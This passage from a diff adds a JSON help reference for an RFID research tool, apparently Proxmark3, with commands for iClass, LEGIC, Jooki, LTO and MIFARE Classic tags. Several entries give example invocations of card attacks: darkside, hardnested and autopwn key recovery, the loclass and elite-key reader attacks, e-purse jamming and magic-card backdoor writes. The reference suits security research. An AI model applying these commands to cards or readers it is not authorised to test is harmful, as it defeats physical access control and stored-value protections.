hf-iclass-aa162d30f8ff12f1-dump.bin --first 6 --last 18 -k 1122334455667788 --elite" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file specify a filename to restore (bin/eml/json)", + "-k, --key access key as 8 hex bytes", + "--ki key index to select key from memory 'hf iclass managekeys'", + "--first the first block number to restore", + "--last the last block number to restore", + "--credit key is assumed to be the credit key", + "--elite elite computations applied to key", + "--raw no computations applied to key", + "-v, --verbose verbose output" + ], + "usage": "hf iclass restore [-hv] -f [-k ] [--ki ] --first --last [--credit] [--elite] [--raw]" + }, + "hf iclass sim": { + "command": "hf iclass sim", + "description": "simulate a iclass legacy/standard tag", + "notes": [ + "hf iclass sim -t 0 --csn 031fec8af7ff12e0 -> simulate with specficied csn", + "hf iclass sim -t 1 -> simulate with default csn", + "hf iclass sim -t 2 -> execute loclass attack online part", + "hf iclass sim -t 3 -> simulate full iclass 2k tag", + "hf iclass sim -t 4 -> reader-attack, adapted for keyroll mode, gather reader responses to extract elite key" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --type <0-4> simulation type to use", + "--csn specify csn as 8 hex bytes to use with sim type 0" + ], + "usage": "hf iclass sim [-h] -t <0-4> [--csn ]" + }, + "hf iclass sniff": { + "command": "hf iclass sniff", + "description": "sniff the communication reader and tag", + "notes": [ + "hf iclass sniff", + "hf iclass sniff -j -> jam e-purse updates" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-j, --jam jam (prevent) e-purse updates" + ], + "usage": "hf iclass sniff [-hj]" + }, + "hf iclass view": { + "command": "hf iclass view", + "description": "print a iclass tag dump file (bin/eml/json)", + "notes": [ + "hf iclass view -f hf-iclass-aa162d30f8ff12f1-dump.bin", + "hf iclass view --first 1 -f hf-iclass-aa162d30f8ff12f1-dump.bin" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file filename of dump (bin/eml/json)", + "--first begin printing from this block (default block 6)", + "--last end printing at this block (default 0, all)", + "-v, --verbose verbose output" + ], + "usage": "hf iclass view [-hv] -f [--first ] [--last ]" + }, + "hf iclass wrbl": { + "command": "hf iclass wrbl", + "description": "write data to an iclass tag", + "notes": [ + "hf iclass wrbl -b 10 -d aaaaaaaaaaaaaaaa -k 001122334455667b", + "hf iclass wrbl -b 10 -d aaaaaaaaaaaaaaaa -k 001122334455667b --credit", + "hf iclass wrbl -b 10 -d aaaaaaaaaaaaaaaa --ki 0" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key access key as 8 hex bytes", + "--ki key index to select key from memory 'hf iclass managekeys'", + "-b, --block the block number to read", + "-d, --data data to write as 8 hex bytes", + "--credit key is assumed to be the credit key", + "--elite elite computations applied to key", + "--raw no computations applied to key", + "--nr replay of nr/mac", + "-v, --verbose verbose output" + ], + "usage": "hf iclass wrbl [-hv] [-k ] [--ki ] -b -d [--credit] [--elite] [--raw] [--nr]" + }, + "hf jooki decode": { + "command": "hf jooki decode", + "description": "decode a base64-encode jooki token in ndef uri format", + "notes": [ + "hf jooki decode -d 7wzlgezqlgwtnwny" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data base64 url parameter", + "-v, --verbose verbose output" + ], + "usage": "hf jooki decode [-hv] -d " + }, + "hf jooki encode": { + "command": "hf jooki encode", + "description": "encode a jooki token to base64 ndef uri format", + "notes": [ + "hf jooki encode -t -> selftest", + "hf jooki encode -r --dragon -> read uid from tag and use for encoding", + "hf jooki encode --uid 04010203040506 --dragon", + "hf jooki encode --uid 04010203040506 --tid 1 --fid 1" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-u, --uid uid bytes", + "-r read uid from tag instead", + "-t selftest", + "-v, --verbose verbose output", + "--dragon figurine type", + "--fox figurine type", + "--ghost figurine type", + "--knight figurine type", + "--whale figurine type", + "--blackdragon figurine type", + "--blackfox figurine type", + "--blackknight figurine type", + "--blackwhale figurine type", + "--whitedragon figurine type", + "--whitefox figurine type", + "--whiteknight figurine type", + "--whitewhale figurine type", + "--tid figurine type id", + "--fid figurine id" + ], + "usage": "hf jooki encode [-hrtv] [-u ] [--dragon] [--fox] [--ghost] [--knight] [--whale] [--blackdragon] [--blackfox] [--blackknight] [--blackwhale] [--whitedragon] [--whitefox] [--whiteknight] [--whitewhale] [--tid ] [--fid ]" + }, + "hf jooki help": { + "command": "hf jooki help", + "description": "help this help decode decode jooki token encode encode jooki token --------------------------------------------------------------------------------------- hf jooki clone available offline: no write a jooki token to a ultralight or ntag tag", + "notes": [ + "hf jooki clone -d -> where hex is raw ndef", + "hf jooki clone --b64 7wzlgezqlgwtnwny -> using base64 url parameter" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-b, --b64 base64 url parameter", + "-d, --data raw ndef bytes", + "-p, --pwd password for authentication (ev1/ntag 4 bytes)" + ], + "usage": "hf jooki clone [-h] [-b ] [-d ] [-p ]" + }, + "hf jooki sim": { + "command": "hf jooki sim", + "description": "simulate a jooki token. either `hf mfu eload` before or use `-d` param", + "notes": [ + "hf jooki sim -> use token in emulator memory", + "hf jooki sim -b 7wzlgezqlgwtnwny -> using base64 url parameter" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --b64 base64 url parameter" + ], + "usage": "hf jooki sim [-h] [-b ]" + }, + "hf legic crc": { + "command": "hf legic crc", + "description": "calculates the legic crc8/crc16 on the given data", + "notes": [ + "hf legic crc -d deadbeef1122", + "hf legic crc -d deadbeef1122 --mcc 9a -t 16 -> crc type 16" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-d, --data bytes to calculate crc over", + "--mcc mcc hex byte (uid crc)", + "-t, --type crc type (default: 8)" + ], + "usage": "hf legic crc [-h] -d [--mcc ] [-t ]" + }, + "hf legic dump": { + "command": "hf legic dump", + "description": "read all memory from legic prime mim22, mim256, mim1024 and saves bin/eml/json dump file it autodetects card type.", + "notes": [ + "hf legic dump -> use uid as filename", + "hf legic dump -f myfile -> use user specified filename", + "hf legic dump --de -> use uid as filename and deobfuscate data" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file specify a filename for dump file", + "--de deobfuscate dump data (xor with mcc)" + ], + "usage": "hf legic dump [-h] [-f ] [--de]" + }, + "hf legic eload": { + "command": "hf legic eload", + "description": "loads a legic binary dump into emulator memory", + "notes": [ + "hf legic eload -f myfile -t 0 -> simulate type mim22", + "hf legic eload -f myfile -t 1 -> simulate type mim256 (default)", + "hf legic eload -f myfile -t 2 -> simulate type mim1024" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file specify a filename to restore", + "-t, --type tag type to simulate.", + "--obfuscate obfuscate dump data (xor with mcc)" + ], + "usage": "hf legic eload [-h] -f [-t ] [--obfuscate]" + }, + "hf legic esave": { + "command": "hf legic esave", + "description": "saves bin/eml/json dump file of emulator memory", + "notes": [ + "hf legic esave -> uses uid as filename", + "hf legic esave -f myfile -t 0 -> type mim22", + "hf legic esave -f myfile -t 1 -> type mim256 (default)", + "hf legic esave -f myfile -t 2 -> type mim1024" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file specify a filename to save", + "-t, --type tag type", + "--deobfuscate de-obfuscate dump data (xor with mcc)" + ], + "usage": "hf legic esave [-h] [-f ] [-t ] [--deobfuscate]" + }, + "hf legic help": { + "command": "hf legic help", + "description": "help this help list list legic history crc calculate legic crc over given bytes eload load binary dump to emulator memory esave save emulator memory to binary file --------------------------------------------------------------------------------------- hf legic list available offline: yes alias of `trace list -t legic` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf legic list -f -> show frame delay times", + "hf legic list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf legic list [-h1fcrux] [--dict ]..." + }, + "hf legic info": { + "command": "hf legic info", + "description": "gets information from a legic prime tag like systemarea, user areas, etc", + "notes": [ + "hf legic info" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf legic info [-h]" + }, + "hf legic rdbl": { + "command": "hf legic rdbl", + "description": "read data from a legic prime tag", + "notes": [ + "hf legic rdbl -o 0 -l 16 -> reads from byte[0] 16 bytes(system header)", + "hf legic rdbl -o 0 -l 4 --iv 55 -> reads from byte[0] 4 bytes with iv 0x55", + "hf legic rdbl -o 0 -l 256 --iv 55 -> reads from byte[0] 256 bytes with iv 0x55" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-o, --offset offset in data array to start download from", + "-l, --length number of bytes to read", + "--iv initialization vector to use. must be odd and 7bits max" + ], + "usage": "hf legic rdbl [-h] -o -l [--iv ]" + }, + "hf legic reader": { + "command": "hf legic reader", + "description": "read uid and type information from a legic prime tag", + "notes": [ + "hf legic reader" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "hf legic reader [-h@]" + }, + "hf legic restore": { + "command": "hf legic restore", + "description": "reads binary file and it autodetects card type and verifies that the file has the same size then write the data back to card. all bytes except the first 7bytes [uid(4) mcc(1) dcf(2)]", + "notes": [ + "hf legic restore -f myfile -> use user specified filename", + "hf legic restore -f myfile --ob -> use uid as filename and obfuscate data" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file specify a filename to restore", + "--ob obfuscate dump data (xor with mcc)" + ], + "usage": "hf legic restore [-h] -f [--ob]" + }, + "hf legic sim": { + "command": "hf legic sim", + "description": "simulates a legic prime tag. mim22, mim256, mim1024 types can be emulated", + "notes": [ + "hf legic sim -t 0 -> simulate type mim22", + "hf legic sim -t 1 -> simulate type mim256 (default)", + "hf legic sim -t 2 -> simulate type mim1024" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-t, --type tag type to simulate." + ], + "usage": "hf legic sim [-h] [-t ]" + }, + "hf legic wipe": { + "command": "hf legic wipe", + "description": "fills a legic prime tags memory with zeros. from byte7 and to the end it autodetects card type", + "notes": [ + "hf legic wipe" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf legic wipe [-h]" + }, + "hf legic wrbl": { + "command": "hf legic wrbl", + "description": "write data to a legic prime tag. it autodetects tagsize to ensure proper write", + "notes": [ + "hf legic wrbl -o 0 -d 11223344 -> write 0x11223344 starting from offset 0)", + "hf legic wrbl -o 10 -d deadbeef -> write 0xdeadbeef starting from offset 10" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-o, --offset offset in data array to start writing", + "-d, --data data to write", + "--danger auto-confirm dangerous operations" + ], + "usage": "hf legic wrbl [-h] -o -d [--danger]" + }, + "hf lto help": { + "command": "hf lto help", + "description": "help this help list list lto-cm history --------------------------------------------------------------------------------------- hf lto dump available offline: no dump data from lto tag", + "notes": [ + "hf lto dump -f myfile" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-f, --file specify a filename for dumpfile" + ], + "usage": "hf lto dump [-h] [-f ]" + }, + "hf lto info": { + "command": "hf lto info", + "description": "get info from lto tags", + "notes": [ + "hf lto info" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf lto info [-h]" + }, + "hf lto list": { + "command": "hf lto list", + "description": "alias of `trace list -t lto` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf lto list -f -> show frame delay times", + "hf lto list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + "-c mark crc bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into wireshark using encapsulation type \"iso 14443\"", + "--dict use dictionary keys file" + ], + "usage": "hf lto list [-h1fcrux] [--dict ]..." + }, + "hf lto rdbl": { + "command": "hf lto rdbl", + "description": "reead blocks from lto tag", + "notes": [ + "hf lto rdbl --first 0 --last 254" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--first the first block number to read as an integer", + "--last the last block number to read as an integer" + ], + "usage": "hf lto rdbl [-h] [--first ] [--last ]" + }, + "hf lto restore": { + "command": "hf lto restore", + "description": "restore data from dumpfile to lto tag", + "notes": [ + "hf lto restore -f hf-lto-92c7842cff.bin|.eml" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file specify a filename for dumpfile" + ], + "usage": "hf lto restore [-h] -f " + }, + "hf lto wrbl": { + "command": "hf lto wrbl", + "description": "write data to block on lto tag", + "notes": [ + "hf lto wrbl --block 128 -d 0001020304050607080910111213141516171819202122232425262728293031" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --data 32 bytes of data to write (64 hex symbols, no spaces)", + "--block the block number to write to as an integer" + ], + "usage": "hf lto wrbl [-h] -d --block " + }, + "hf mf auth4": { + "command": "hf mf auth4", + "description": "executes aes authentication command in iso14443-4", + "notes": [ + "hf mf auth4 4000 000102030405060708090a0b0c0d0e0f -> executes authentication", + "hf mf auth4 9003 ffffffffffffffffffffffffffffffff -> executes authentication" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf mf auth4 [-h] " + }, + "hf mf autopwn": { + "command": "hf mf autopwn", + "description": "this command automates the key recovery process on mifare classic cards. it uses the fchk, chk, darkside, nested, hardnested and staticnested to recover keys. if all keys are found, it try dumping card content both to file and emulator memory.", + "notes": [ + "hf mf autopwn", + "hf mf autopwn -s 0 -a -k ffffffffffff -> target mfc 1k card, sector 0 with known key a 'ffffffffffff'", + "hf mf autopwn --1k -f mfc_default_keys -> target mfc 1k card, default dictionary", + "hf mf autopwn --1k -s 0 -a -k ffffffffffff -f mfc_default_keys -> combo of the two above samples" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key known key, 12 hex bytes", + "-s, --sector input sector number", + "-a input key a (def)", + "-b input key b", + "-f, --file filename of dictionary", + "-s, --slow slower acquisition (required by some non standard cards)", + "-l, --legacy legacy mode (use the slow `hf mf chk`)", + "-v, --verbose verbose output (statistics)", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (default)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "--in none (use cpu regular instruction set)", + "--im mmx", + "--is sse2", + "--ia avx", + "--i2 avx2", + "--i5 avx512" + ], + "usage": "hf mf autopwn [-habslv] [-k ] [-s ] [-f ] [--mini] [--1k] [--2k] [--4k] [--in] [--im] [--is] [--ia] [--i2] [--i5]" + }, + "hf mf cgetblk": { + "command": "hf mf cgetblk", + "description": "get block data from magic chinese card. only works with magic gen1a cards", + "notes": [ + "hf mf cgetblk --blk 0 -> get block 0 (manufacturer)", + "hf mf cgetblk --blk 3 -v -> get block 3, decode sector trailer" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --blk block number", + "-v, --verbose verbose output" + ], + "usage": "hf mf cgetblk [-hv] -b " + }, + "hf mf cgetsc": { + "command": "hf mf cgetsc", + "description": "get sector data from magic chinese card. only works with magic gen1a cards", + "notes": [ + "hf mf cgetsc -s 0" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --sec sector number", + "-v, --verbose verbose output" + ], + "usage": "hf mf cgetsc [-hv] -s " + }, + "hf mf chk": { + "command": "hf mf chk", + "description": "check keys on mifare classic card", + "notes": [ + "hf mf chk --mini -k ffffffffffff -> check all sectors, all keys against mifare mini", + "hf mf chk --1k -k ffffffffffff -> check all sectors, all keys against mifare classic 1k", + "hf mf chk --2k -k ffffffffffff -> check all sectors, all keys against mifare 2k", + "hf mf chk --4k -k ffffffffffff -> check all sectors, all keys against mifare 4k", + "hf mf chk --1k --emu -> check all sectors, all keys, 1k, and write to emulator memory", + "hf mf chk --1k --dump -> check all sectors, all keys, 1k, and write to file", + "hf mf chk -a --blk 0 -f mfc_default_keys.dic -> check dictionary against block 0, key a" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key key specified as 12 hex symbols", + "--blk input block number", + "-a target key a, if found also check key b for duplicate", + "-b target key b", + "-*, --all target both key a & b (default)", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (default)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "--emu fill simulator keys from found keys", + "--dump dump found keys to binary file", + "-f, --file filename of dictionary" + ], + "usage": "hf mf chk [-hab*] [-k ]... [--blk ] [--mini] [--1k] [--2k] [--4k] [--emu] [--dump] [-f ]" + }, + "hf mf cload": { + "command": "hf mf cload", + "description": "load magic gen1a card with data from (bin/eml/json) dump file or from emulator memory.", + "notes": [ + "hf mf cload --emu", + "hf mf cload -f hf-mf-01020304.eml" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump", + "--emu from emulator memory" + ], + "usage": "hf mf cload [-h] -f [--emu]" + }, + "hf mf csave": { + "command": "hf mf csave", + "description": "save magic gen1a card memory into three files (bin/eml/json)or into emulator memory", + "notes": [ + "hf mf csave", + "hf mf csave --4k" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "--emu from emulator memory" + ], + "usage": "hf mf csave [-h] [-f ] [--mini] [--1k] [--2k] [--4k] [--emu]" + }, + "hf mf csetblk": { + "command": "hf mf csetblk", + "description": "set block data on a magic gen1a card", + "notes": [ + "hf mf csetblk --blk 1 -d 000102030405060708090a0b0c0d0e0f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --blk block number", + "-d, --data bytes to write, 16 hex bytes", + "-w, --wipe wipes card with backdoor cmd before writing" + ], + "usage": "hf mf csetblk [-hw] -b [-d ]" + }, + "hf mf csetuid": { + "command": "hf mf csetuid", + "description": "set uid, atqa, and sak for magic gen1a card", + "notes": [ + "hf mf csetuid -u 01020304", + "hf mf csetuid -w -u 01020304 --atqa 0004 --sak 08" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-w, --wipe wipes card with backdoor cmd`", + "-u, --uid uid, 4/7 hex bytes", + "-a, --atqa atqa, 2 hex bytes", + "-s, --sak sak, 1 hex byte" + ], + "usage": "hf mf csetuid [-hw] [-u ] [-a ] [-s ]" + }, + "hf mf cview": { + "command": "hf mf cview", + "description": "view `magic gen1a` card memory", + "notes": [ + "hf mf cview", + "hf mf cview --4k" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70" + ], + "usage": "hf mf cview [-h] [--mini] [--1k] [--2k] [--4k]" + }, + "hf mf cwipe": { + "command": "hf mf cwipe", + "description": "wipe gen1 magic chinese card. set uid / atqa / sak / data / keys / access to default values", + "notes": [ + "hf mf cwipe", + "hf mf cwipe -u 09080706 -a 0004 -s 18 -> set uid, atqa and sak and wipe card" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid uid, 4 hex bytes", + "-a, --atqa atqa, 2 hex bytes", + "-s, --sak sak, 1 hex byte" + ], + "usage": "hf mf cwipe [-h] [-u ] [-a ] [-s ]" + }, + "hf mf darkside": { + "command": "hf mf darkside", + "description": "darkside attack", + "notes": [ + "hf mf darkside", + "hf mf darkside --blk 16", + "hf mf darkside --blk 16 -b" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--blk simulation type to use", + "-b target key b instead of default key a" + ], + "usage": "hf mf darkside [-hb] [--blk ]" + }, + "hf mf decrypt": { + "command": "hf mf decrypt", + "description": "decrypt crypto-1 encrypted bytes given some known state of crypto. see tracelog to gather needed values", + "notes": [ + "hf mf decrypt --nt b830049b --ar 9248314a --at 9280e203 -d 41e586f9", + "-> 41e586f9 becomes 3003999a", + "-> which annotates 30 03 [99 9a] read block 3 [crc]" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--nt tag nonce", + "--ar ar_enc, encrypted reader response", + "--at at_enc, encrypted tag response", + "-d, --data encrypted data, taken directly after at_enc and forward" + ], + "usage": "hf mf decrypt [-h] --nt --ar --at -d " + }, + "hf mf dump": { + "command": "hf mf dump", + "description": "dump mifare classic tag to binary file if no given, uid will be used as filename", + "notes": [ + "hf mf dump --mini -> mifare mini", + "hf mf dump --1k -> mifare classic 1k", + "hf mf dump --2k -> mifare 2k", + "hf mf dump --4k -> mifare 4k", + "hf mf dump --keys hf-mf-066c8b78-key.bin -> mifare 1k with keys from specified file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump", + "-k, --keys filename of keys", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70" + ], + "usage": "hf mf dump [-h] [-f ] [-k ] [--mini] [--1k] [--2k] [--4k]" + }, + "hf mf ecfill": { + "command": "hf mf ecfill", + "description": "dump card and transfer the data to emulator memory. keys must be laid in the emulator memory", + "notes": [ + "hf mf ecfill -> use key type a", + "hf mf ecfill --4k -b -> target 4k card with key type b" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a input key type is key a(def)", + "-b input key type is key b", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70" + ], + "usage": "hf mf ecfill [-hab] [--mini] [--1k] [--2k] [--4k]" + }, + "hf mf eclr": { + "command": "hf mf eclr", + "description": "it set card emulator memory to empty data blocks and key a/b ffffffffffff", + "notes": [ + "hf mf eclr" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "hf mf eclr [-h]" + }, + "hf mf egetblk": { + "command": "hf mf egetblk", + "description": "get emulator memory block", + "notes": [ + "hf mf egetblk --blk 0 -> get block 0 (manufacturer)", + "hf mf egetblk --blk 3 -v -> get block 3, decode sector trailer" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --blk block number", + "-v, --verbose verbose output" + ], + "usage": "hf mf egetblk [-hv] -b " + }, + "hf mf egetsc": { + "command": "hf mf egetsc", + "description": "get emulator memory sector", + "notes": [ + "hf mf egetsc -s 0" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --sec sector number", + "-v, --verbose verbose output" + ], + "usage": "hf mf egetsc [-hv] -s " + }, + "hf mf ekeyprn": { + "command": "hf mf ekeyprn", + "description": "download and print the keys from emulator memory", + "notes": [ + "hf mf ekeyprn --1k -> print mfc 1k keyset", + "hf mf ekeyprn -w -> write keys to binary file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-w, --write write keys to binary file `hf-mf--key.bin`", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70" + ], + "usage": "hf mf ekeyprn [-hw] [--mini] [--1k] [--2k] [--4k]" + }, + "hf mf eload": { + "command": "hf mf eload", + "description": "load emulator memory with data from (bin/eml/json) dump file", + "notes": [ + "hf mf eload -f hf-mf-01020304.bin", + "hf mf eload --4k -f hf-mf-01020304.eml" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "--ul mifare ultralight family", + "-q, --qty manually set number of blocks (overrides)" + ], + "usage": "hf mf eload [-h] -f [--mini] [--1k] [--2k] [--4k] [--ul] [-q ]" + }, + "hf mf esave": { + "command": "hf mf esave", + "description": "save emulator memory into three files (bin/eml/json)", + "notes": [ + "hf mf esave", + "hf mf esave --4k", + "hf mf esave --4k -f hf-mf-01020304.eml" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70" + ], + "usage": "hf mf esave [-h] [-f ] [--mini] [--1k] [--2k] [--4k]" + }, + "hf mf esetblk": { + "command": "hf mf esetblk", + "description": "set emulator memory block", + "notes": [ + "hf mf esetblk --blk 1 -d 000102030405060708090a0b0c0d0e0f" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --blk block number", + "-d, --data bytes to write, 16 hex bytes" + ], + "usage": "hf mf esetblk [-h] -b [-d ]" + }, + "hf mf eview": { + "command": "hf mf eview", + "description": "it displays emulator memory", + "notes": [ + "hf mf eview", + "hf mf eview --4k" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (def)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70" + ], + "usage": "hf mf eview [-h] [--mini] [--1k] [--2k] [--4k]" + }, + "hf mf fchk": { + "command": "hf mf fchk", + "description": "this is a improved checkkeys method speedwise. it checks mifare classic tags sector keys against a dictionary file with keys", + "notes": [ + "hf mf fchk --mini -k ffffffffffff -> key recovery against mifare mini", + "hf mf fchk --1k -k ffffffffffff -> key recovery against mifare classic 1k", + "hf mf fchk --2k -k ffffffffffff -> key recovery against mifare 2k", + "hf mf fchk --4k -k ffffffffffff -> key recovery against mifare 4k", + "hf mf fchk --1k -f mfc_default_keys.dic -> target 1k using default dictionary file", + "hf mf fchk --1k --emu -> target 1k, write to emulator memory", + "hf mf fchk --1k --dump -> target 1k, write to file", + "hf mf fchk --1k --mem -> target 1k, use dictionary from flashmemory" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-k, --key key specified as 12 hex symbols", + "--mini mifare classic mini / s20", + "--1k mifare classic 1k / s50 (default)", + "--2k mifare classic/plus 2k", + "--4k mifare classic 4k / s70", + "--emu fill simulator keys from found keys", + "--dump dump found keys to binary file", + "--mem use dictionary from flashmemory", + "-f, --file filename of dictionary" + ], + "usage": "hf mf fchk [-h] [-k ]... [--mini] [--1k] [--2k] [--4k] [--emu] [--dump] [--mem] [-f ]" + }, + "hf mf gen3blk": { + "command": "hf mf gen3blk", + "description": "overwrite full manufacturer block for magic gen3 card - you can specify part of manufacturer block as 4/7-bytes for uid change only note: bcc, sak, atqa will be calculated automatically", + "notes": [ + "hf mf gen3blk -> print current data", + "hf mf gen3blk -d 01020304 -> set 4 byte uid", + "hf mf gen3blk -d 01020304050607 -> set 7 byte uid", + "hf mf gen3blk -d 01020304ffffffff0102030405060708" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --data manufacturer block data up to 16 hex bytes" + ], + "usage": "hf mf gen3blk [-h] [-d ]" + }, + "hf mf gen3freeze": { + "command": "hf mf gen3freeze", + "description": "perma lock further uid changes. no more uid changes available after operation completed note: operation is ! irreversible !", + "notes": [ + "hf mf gen3freeze -y" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-y, --yes confirm uid lock operation" + ], + "usage": "hf mf gen3freeze -y[h]" + }, + "hf mf gen3uid": { + "command": "hf mf gen3uid", + "description": "set uid for magic gen3 card _without_ changes to manufacturer block 0", + "notes": [ + "hf mf gen3uid --uid 01020304 -> set 4 byte uid", + "hf mf gen3uid --uid 01020304050607 -> set 7 byte uid" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-u, --uid uid 4/7 hex bytes" + ], + "usage": "hf mf gen3uid [-h] [-u ]" + }, + "hf mf hardnested": { + "command": "hf mf hardnested", + "description": "nested attack for hardened mifare classic cards. `--i` set type of simd instructions. without this flag programs autodetect it. or hf mf hardnested -r --tk [known target key] add the known target key to check if it is present in the remaining key space hf mf hardnested --blk 0 -a -k a0a1a2a3a4a5 --tblk 4 --ta --tk ffffffffffff", + "notes": [ + "hf mf hardnested --blk 0 -a -k ffffffffffff --tblk 4 --ta", + "hf mf hardnested --blk 0 -a -k ffffffffffff --tblk 4 --ta -w", + "hf mf hardnested --blk 0 -a -k ffffffffffff --tblk 4 --ta -f nonces.bin -w -s", + "hf mf hardnested -r", + "hf mf hardnested -r --tk a0a1a2a3a4a5", + "hf mf hardnested -t --tk a0a1a2a3a4a5", + "hf mf hardnested --blk 0 -a -k a0a1a2a3a4a5 --tblk 4 --ta --tk ffffffffffff" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-k, --key key, 12 hex bytes", + "--blk input block number", + "-a input key a (def)", + "-b input key b", + "--tblk target block number", + "--ta target key a", + "--tb target key b", + "--tk target key, 12 hex bytes", + "-u, --uid r/w `hf-mf--nonces.bin` instead of default name", + "-f, --file r/w instead of default name", + "-r, --read read `hf-mf--nonces.bin` if tag present, otherwise `nonces.bin`, and start attack", + "-s, --slow slower acquisition (required by some non standard cards)", + "-t, --tests run tests", + "-w, --wr acquire nonces and uid, and write them to file `hf-mf--nonces.bin`", + "--in none (use cpu regular instruction set)", + "--im mmx", + "--is sse2", + "--ia avx", + "--i2 avx2", + "--i5 avx512" + ], + "usage": "hf mf hardnested [-habrstw] [-k ] [--blk ] [--tblk ] [--ta] [--tb] [--tk ] [-u ] [-f ] [--in] [--im] [--is] [--ia] [--i2] [--i5]" + }, + "hf mf help": { + "command": "hf mf help", + "description": "help this help list list mifare history hardnested nested attack for hardened mifare classic cards decrypt [nt] [ar_enc] [at_enc] [data] - to decrypt sniff or trace view display content from tag dump file --------------------------------------------------------------------------------------- hf mf list available offline: yes alias of `trace list -t mf` with selected protocol data to annotate trace buffer you can load a trace from file (see `trace load -h`) or it be downloaded from device by default it accepts all other arguments of `trace list`. note that some might not be relevant for this specific protocol", + "notes": [ + "hf mf list -f -> show frame delay times", + "hf mf list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1, --buffer use data from trace buffer", + "-f show frame delay times", + 